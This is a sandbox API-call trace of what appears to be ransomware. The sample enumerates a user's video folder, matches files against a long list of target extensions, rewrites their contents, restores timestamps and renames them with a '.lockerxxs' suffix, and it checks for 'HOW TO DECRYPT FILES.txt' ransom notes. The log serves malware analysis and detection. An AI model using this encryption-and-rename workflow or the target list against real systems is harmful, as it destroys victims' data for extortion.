[0091.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.docx") returned 0 [0091.388] lstrlenA (lpString="*.docx") returned 6 [0091.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.7z") returned 0 [0091.388] lstrlenA (lpString="*.7z") returned 4 [0091.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.tar") returned 0 [0091.388] lstrlenA (lpString="*.tar") returned 5 [0091.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.bz2") returned 0 [0091.388] lstrlenA (lpString="*.bz2") returned 5 [0091.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.gz") returned 0 [0091.388] lstrlenA (lpString="*.gz") returned 4 [0091.388] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", pszSpec="*.mkv") returned 1 [0091.388] lstrlenA (lpString="*.mkv") returned 5 [0091.389] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv" [0091.389] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv" [0091.389] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv." [0091.389] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv.lockerxxs" [0091.389] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\02fobcldpapu6-varzez\\cdfqwtzsxd\\uu-gclfm.mkv"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0091.390] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x139b5 [0091.390] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x48cf9be0, dwHighDateTime=0x1d5e018), lpLastAccessTime=0x407536*(dwLowDateTime=0x9eebbab0, dwHighDateTime=0x1d5e4da), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9eebbab0, dwHighDateTime=0x1d5e4da)) returned 1 [0091.390] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.390] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1398f, lpOverlapped=0x0) returned 1 [0091.393] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv") returned="uU-gCLFM.mkv" [0091.393] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0091.393] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1398f, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1398f, lpOverlapped=0x0) returned 1 [0091.394] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0091.394] CloseHandle (hObject=0x98) returned 1 [0091.394] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\02fobcldpapu6-varzez\\cdfqwtzsxd\\uu-gclfm.mkv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\02fobcldpapu6-varzez\\cdfqwtzsxd\\uu-gclfm.mkv.lockerxxs")) returned 1 [0091.395] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e2af7d0, ftCreationTime.dwHighDateTime=0x1d5daa4, ftLastAccessTime.dwLowDateTime=0x53ab4950, ftLastAccessTime.dwHighDateTime=0x1d5e43d, ftLastWriteTime.dwLowDateTime=0x53ab4950, ftLastWriteTime.dwHighDateTime=0x1d5e43d, nFileSizeHigh=0x0, nFileSizeLow=0x126b5, dwReserved0=0x17000314, dwReserved1=0x4e00c4, cFileName="xssw2DT1p4gT.flv", cAlternateFileName="XSSW2D~1.FLV")) returned 1 [0091.395] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0091.395] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="xssw2DT1p4gT.flv") returned -1 [0091.395] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="xssw2DT1p4gT.flv") returned -1 [0091.395] lstrcmpiA (lpString1="", lpString2="xssw2DT1p4gT.flv") returned -1 [0091.395] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\uU-gCLFM.mkv") returned="uU-gCLFM.mkv" [0091.396] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\" [0091.396] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\") returned="" [0091.396] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\HOW TO DECRYPT FILES.txt" [0091.396] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\rxdfbudztrgnjqihbs\\9xalyjeq2q4x vzulh\\02fobcldpapu6-varzez\\cdfqwtzsxd\\how to decrypt files.txt")) returned 0x20 [0091.396] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\", lpString2="xssw2DT1p4gT.flv" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv" [0091.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.ems") returned 0 [0091.396] lstrlenA (lpString="*.ems") returned 5 [0091.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.db") returned 0 [0091.396] lstrlenA (lpString="*.db") returned 4 [0091.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.dbf") returned 0 [0091.396] lstrlenA (lpString="*.dbf") returned 5 [0091.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.myox") returned 0 [0091.396] lstrlenA (lpString="*.myox") returned 6 [0091.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.myo") returned 0 [0091.396] lstrlenA (lpString="*.myo") returned 5 [0091.396] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.qbw") returned 0 [0091.396] lstrlenA (lpString="*.qbw") returned 5 [0091.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.qbb") returned 0 [0091.397] lstrlenA (lpString="*.qbb") returned 5 [0091.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.qbm") returned 0 [0091.397] lstrlenA (lpString="*.qbm") returned 5 [0091.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.qbo") returned 0 [0091.397] lstrlenA (lpString="*.qbo") returned 5 [0091.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.qbx") returned 0 [0091.397] lstrlenA (lpString="*.qbx") returned 5 [0091.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.qba") returned 0 [0091.397] lstrlenA (lpString="*.qba") returned 5 [0091.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.qby") returned 0 [0091.397] lstrlenA (lpString="*.qby") returned 5 [0091.397] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.qbj") returned 0 [0091.398] lstrlenA (lpString="*.qbj") returned 5 [0091.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.ofx") returned 0 [0091.398] lstrlenA (lpString="*.ofx") returned 5 [0091.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.qif") returned 0 [0091.398] lstrlenA (lpString="*.qif") returned 5 [0091.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.mye") returned 0 [0091.398] lstrlenA (lpString="*.mye") returned 5 [0091.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.mbox") returned 0 [0091.398] lstrlenA (lpString="*.mbox") returned 6 [0091.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.eml") returned 0 [0091.398] lstrlenA (lpString="*.eml") returned 5 [0091.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.pst") returned 0 [0091.398] lstrlenA (lpString="*.pst") returned 5 [0091.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.ost") returned 0 [0091.398] lstrlenA (lpString="*.ost") returned 5 [0091.398] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.idx") returned 0 [0091.398] lstrlenA (lpString="*.idx") returned 5 [0091.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.dbx") returned 0 [0091.399] lstrlenA (lpString="*.dbx") returned 5 [0091.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.sql") returned 0 [0091.399] lstrlenA (lpString="*.sql") returned 5 [0091.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.mdb") returned 0 [0091.399] lstrlenA (lpString="*.mdb") returned 5 [0091.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.fdb") returned 0 [0091.399] lstrlenA (lpString="*.fdb") returned 5 [0091.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.wab") returned 0 [0091.399] lstrlenA (lpString="*.wab") returned 5 [0091.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.dat") returned 0 [0091.399] lstrlenA (lpString="*.dat") returned 5 [0091.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.txt") returned 0 [0091.399] lstrlenA (lpString="*.txt") returned 5 [0091.399] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.jpeg") returned 0 [0091.400] lstrlenA (lpString="*.jpeg") returned 6 [0091.400] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.jpg") returned 0 [0091.400] lstrlenA (lpString="*.jpg") returned 5 [0091.400] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.png") returned 0 [0091.400] lstrlenA (lpString="*.png") returned 5 [0091.400] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.php") returned 0 [0091.400] lstrlenA (lpString="*.php") returned 5 [0091.400] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.cs") returned 0 [0091.400] lstrlenA (lpString="*.cs") returned 4 [0091.400] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.cpp") returned 0 [0091.400] lstrlenA (lpString="*.cpp") returned 5 [0091.400] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.rar") returned 0 [0091.400] lstrlenA (lpString="*.rar") returned 5 [0091.400] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.zip") returned 0 [0091.400] lstrlenA (lpString="*.zip") returned 5 [0091.400] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.html") returned 0 [0091.400] lstrlenA (lpString="*.html") returned 6 [0091.401] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.htm") returned 0 [0091.401] lstrlenA (lpString="*.htm") returned 5 [0091.401] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.xlsx") returned 0 [0091.401] lstrlenA (lpString="*.xlsx") returned 6 [0091.401] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.xls") returned 0 [0091.401] lstrlenA (lpString="*.xls") returned 5 [0091.401] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.mp4") returned 0 [0091.401] lstrlenA (lpString="*.mp4") returned 5 [0091.401] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.ppt") returned 0 [0091.401] lstrlenA (lpString="*.ppt") returned 5 [0091.401] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.pptx") returned 0 [0091.401] lstrlenA (lpString="*.pptx") returned 6 [0091.401] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\rXdfbudZTRGnJQiHbS\\9XaLyjEQ2q4x vzuLh\\02fobcLdPapu6-VARZEZ\\CDFQwtzSXD\\xssw2DT1p4gT.flv", pszSpec="*.doc") returned 0 [0091.401] lstrlenA 